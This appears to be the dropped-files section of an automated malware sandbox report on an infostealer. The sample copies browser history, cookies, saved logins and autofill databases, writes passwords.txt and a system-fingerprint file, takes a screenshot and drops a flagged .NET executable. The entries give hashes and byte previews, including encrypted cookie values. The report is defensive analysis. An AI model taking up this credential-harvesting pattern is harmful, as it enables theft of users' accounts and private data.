MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\3b6N2Xdh3CYwplaces.sqlite

Download File

Process:	C:\Users\user\Desktop\2q45IEa3Ee.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\4yAbYkouo2kFHistory

Download File

Process:	C:\Users\user\Desktop\2q45IEa3Ee.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\6fh90gXBIXtLCookies

Download File

Process:	C:\Users\user\Desktop\2q45IEa3Ee.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\BlbScHFwlLfTWeb Data

Download File

Process:	C:\Users\user\Desktop\2q45IEa3Ee.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\D87fZN3R3jFeplaces.sqlite

Download File

Process:	C:\Users\user\Desktop\2q45IEa3Ee.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\Dssi8APnhY2JHistory

Download File

Process:	C:\Users\user\Desktop\2q45IEa3Ee.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\LBC6lg2YJ3HXLogin Data For Account

Download File

Process:	C:\Users\user\Desktop\2q45IEa3Ee.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\McwFytJF8a_xHistory

Download File

Process:	C:\Users\user\Desktop\2q45IEa3Ee.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\PGpLy2WBlLFSWeb Data

Download File

Process:	C:\Users\user\Desktop\2q45IEa3Ee.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\SMhcoWrJBtJiHistory

Download File

Process:	C:\Users\user\Desktop\2q45IEa3Ee.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\YdLSeGsJxirBWeb Data

Download File

Process:	C:\Users\user\Desktop\2q45IEa3Ee.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\_TP0jqeyFqX_Web Data

Download File

Process:	C:\Users\user\Desktop\2q45IEa3Ee.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\btyqKjO2JbORWeb Data

Download File

Process:	C:\Users\user\Desktop\2q45IEa3Ee.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\hFeN_nRcyMkILogin Data

Download File

Process:	C:\Users\user\Desktop\2q45IEa3Ee.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\i8Wb7Rd9dTs_Login Data

Download File

Process:	C:\Users\user\Desktop\2q45IEa3Ee.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\oRkIPIEeryat7GMgjkBr.exe

Download File

Process:	C:\Users\user\Desktop\2q45IEa3Ee.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	315904
Entropy (8bit):	7.9900301024348765
Encrypted:	true
SSDEEP:	6144:DVa+NrJiVBc2wc6oKXwdUWFQg1SGWEWAMiY7ivtaqgntTZXHAYq7:J1NrJaBcOOiHWEWAMFKtdstTfq
MD5:	C60F5FA3A579BCA2C8C377F7E15B2221
SHA1:	D44B5C6DD64284F00D6F9D05CF5327A91CAD9339
SHA-256:	F5913E753281DBDF88F36C73D13AFBF4AF62046E25F8E148E87A80E88818C4D7
SHA-512:	F419ADF4BD07CE18D9B7DE7445B2D0185653DE27738FD4403F880EE11BF49CA8A1958C1B2C94F8F4C5DA52EBC79462CFB6FE71849439F6AF017A95B44AF2F77B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 92% Antivirus: Virustotal, Detection: 77%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....5..........."...0.............~2... ........@.. .......................@............`.................................,2..O............................ .......1..8............................................ ............... ..H............text...H.... ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B................`2......H........$.................................................................]....0..#.........i. .......... .............+B.....- ....d....(....(...............+.......(...........o......X.. ....2.....+7. ....... ..............XX.. ....]...................X.. ....2........+f...+T..X ....].....X ....]...........&...................X ....]..........%G....a.R...X......i2....X.....2....................(....n .........%.....(..........0..H.........89.....P......%G ....X.R.P....

C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\y_CqgZq8h7seWeb Data

Download File

Process:	C:\Users\user\Desktop\2q45IEa3Ee.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\trixyBzNJzauM1END\Cookies\Chrome_Default.txt

Download File

Process:	C:\Users\user\Desktop\2q45IEa3Ee.exe
File Type:	ASCII text, with very long lines (769), with CRLF line terminators
Category:	dropped
Size (bytes):	6085
Entropy (8bit):	6.038274200863744
Encrypted:	false
SSDEEP:	96:gxsumX/xKO2KbcRfbZJ5Jxjxcx1xcbza5BC126oxgxA26Fxr/CxbTxqCGYURxOeb:gWFXZQHRFJ5Pts7c3avC126Ygb6Lr/WY
MD5:	ACB5AD34236C58F9F7D219FB628E3B58
SHA1:	02E39404CA22F1368C46A7B8398F5F6001DB8F5C
SHA-256:	05E5013B848C2E619226F9E7A084DC7DCD1B3D68EE45108F552DB113D21B49D1
SHA-512:	5895F39765BA3CEDFD47D57203FD7E716347CD79277EDDCDC83A729A86E2E59F03F0E7B6B0D0E7C7A383755001EDACC82171052BE801E015E6BF7E6B9595767F
Malicious:	false
Preview:	.google.com.TRUE./.TRUE.1712145003.NID.ENC893_djEw3+k+F2A/rK1XOX2BXUq6pY2LBCOzoXODiJnrrvDbDsPWiYwKZowg9PxHqkTm37HpwC52rXpnuUFrQMpV3iKtdSHegOm+XguZZ6tGaCY2hGVyR8JgIqQma1WLXyhCiWqjou7/c3qSeaKyNoUKHa4TULX4ZnNNtXFoCuZcBAAy4tYcz+0BF4j/0Pg+MgV+s7367kYcjO4q3zwc+XorjSs7PlgWlYrcc55rCJplhJ+H13M00HIdLm+1t9PACck2xxSWX2DsA61sEDJCHEc=_b3i0u6LLcKCMUaF/UlQgEPSL9PtLZ21CuT1dJkfCzME=..support.microsoft.com.FALSE./.TRUE.1696413835..AspNetCore.AuthProvider.ENC893_djEwVWJCCNyFkY3ZM/58ZZ/F/bz9H1yPvi6FOaroXC+KU8E=_b3i0u6LLcKCMUaF/UlQgEPSL9PtLZ21CuT1dJkfCzME=..support.microsoft.com.TRUE./signin-oidc.TRUE.1696414135..AspNetCore.Correlation.mdRqPJxLbpyv7vX0eK9YkTR-xwcrW3VBLE4Y3HEvxuU.ENC893_djEwBAKLrkJs5PZ6BD7Beoa9N/bOSh5JtRch10gZT+E=_b3i0u6LLcKCMUaF/UlQgEPSL9PtLZ21CuT1dJkfCzME=..support.microsoft.com.TRUE./signin-oidc.TRUE.1696414135..AspNetCore.OpenIdConnect.Nonce.CfDJ8Kiuy_B5JgFMo7PeP95NLhqwcJ8koDy5pXkfoWsb5SbbU2hVCbsH2qt9GF_OVCqFkLEwhvzeADNQOF5RSmkDfh5RqfqlOkx5QWo4Lltvwb0CvwBFD8ujlm3BAglOeGca3ZatkLMUkH

C:\Users\user\AppData\Local\Temp\trixyBzNJzauM1END\History\Firefox_fqs92o4p.default-release.txt

Download File

Process:	C:\Users\user\Desktop\2q45IEa3Ee.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	112
Entropy (8bit):	4.911305722693245
Encrypted:	false
SSDEEP:	3:N8DSLvIJiMgTE2WdkQUl7R8DSLvIJiMhKVX3L2WdkQUlv:2OLciodq7R8OLciA8dqv
MD5:	978B9515D3688A43726604AC169DF379
SHA1:	D61293AB99332FC45CAE37D78AB17A5DA5BCD189
SHA-256:	CDEF3FB1CE312E4B67DC5F1B1F9FB551241C08564FDB26AFA4CBF448BB02EA65
SHA-512:	86146AA576129B73743B1EBC0BC60880FDA58A11498048B3C68284C4520F1ADC324D016696B0E995A51AC56966E0F38B0AF12458A986868701C6AAAA89C829CB
Malicious:	false
Preview:	https://www.mozilla.org/privacy/firefox/.1696333827..https://www.mozilla.org/en-US/privacy/firefox/.1696333827..

C:\Users\user\AppData\Local\Temp\trixyBzNJzauM1END\information.txt

Download File

Process:	C:\Users\user\Desktop\2q45IEa3Ee.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	6914
Entropy (8bit):	5.538802664713034
Encrypted:	false
SSDEEP:	192:xHThevAtphWhcmzMwpJCViRE7fNeIj5bATi0elPnPosdlFk3yF4SH892bWdHR4iw:LevAtfWhcmzMwpJCViC7fNeIj5bATi02
MD5:	E11B4C48E5DA979A2DBA80ACBECB936D
SHA1:	88002EC30400E4665B308B33263EE74F9D7E3CA9
SHA-256:	9EB4668F21E2CE2E260507367B0AB33F44C95D938283842C4C76BF940784F281
SHA-512:	70D9FA7BDFC25BABF785F4C1A56F09C4EBA5BD4A6A7E3B06296F4095CDA55D72F22948BFCD05CE7207CBED6B412EF7FDDDE8C2F3C771AAF30533D83B3559B3B1
Malicious:	false
Preview:	Build: default..Version: 1.9....Date: Sun Apr 21 15:31:16 2024.MachineID: 9e146be9-c76a-4720-bcdb-53011b87bd06..GUID: {a33c7340-61ca-11ee-8c18-806e6f6e6963}..HWID: a4627d919c89b35480f35a8f8ec1ed66....Path: C:\Users\user\Desktop\2q45IEa3Ee.exe..Work Dir: C:\Users\user\AppData\Local\Temp\trixyBzNJzauM1END....IP: 81.181.57.52..Location: US, Atlanta..ZIP (Autofills): -..Windows: Windows 10 Pro [x64]..Computer Name: 675052 [WORKGROUP]..User Name: user..Display Resolution: 1280x1024..Display Language: en-CH..Keyboard Languages: English (United Kingdom) / English (United Kingdom)..Local Time: 21/4/2024 15:31:16..TimeZone: UTC1....[Hardware]..Processor: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz..CPU Count: 4..RAM: 8191 MB..VideoCard #0: Microsoft Basic Display Adapter....[Processes]..System [4]..Registry [92]..smss.exe [324]..csrss.exe [408]..wininit.exe [484]..csrss.exe [492]..winlogon.exe [552]..services.exe [620]..lsass.exe [628]..svchost.exe [752]..fontdrvhost.exe [776]..fontdrvhost.exe [7

C:\Users\user\AppData\Local\Temp\trixyBzNJzauM1END\passwords.txt

Download File

Process:	C:\Users\user\Desktop\2q45IEa3Ee.exe
File Type:	Unicode text, UTF-8 text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	2.518316437186352
Encrypted:	false
SSDEEP:	48:4MMMMMMMMMMdMMMM1MMMMMMMM1MMMMMMMM1MMMMMMMM1MMMMMMMMMMdMMMMMMMM3:q
MD5:	B3E9D0E1B8207AA74CB8812BAAF52EAE
SHA1:	A2DCE0FB6B0BBC955A1E72EF3D87CADCC6E3CC6B
SHA-256:	4993311FC913771ACB526BB5EF73682EDA69CD31AC14D25502E7BDA578FFA37C
SHA-512:	B17ADF4AA80CADC581A09C72800DA22F62E5FB32953123F2C513D2E88753C430CC996E82AAE7190C8CB3340FCF2D9E0D759D99D909D2461369275FBE5C68C27A
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\trixyBzNJzauM1END\screenshot.png

Download File

Process:	C:\Users\user\Desktop\2q45IEa3Ee.exe
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	713144
Entropy (8bit):	7.92643296641108
Encrypted:	false
SSDEEP:	12288:CILYYlSXNXiRrDNiydLWO3X6jV/zF0lpgmnEhSiJ/DCIObusXc26cJRvzDPer/:jfl2ZOiy/+pMpmlJLVu/Pzvzry
MD5:	C23146B8783F0773242D52E3A3708FD1
SHA1:	AC3A28D6F1F56C8B6F07881CC9235FB3FFF24267
SHA-256:	B9040135EE594583D255A4A23726CB7B8EE4A8EA3066CD4E6182392AAF2F58DC
SHA-512:	122CD8FC1BE913D5CE7E61394D31BB902D42F2AC8AF14515309C3882A1CBAB81925D1DBB1934141DF848A1A2ADB7D8A915AE1FA30401742B66C1D6A45DCD201E
Malicious:	false
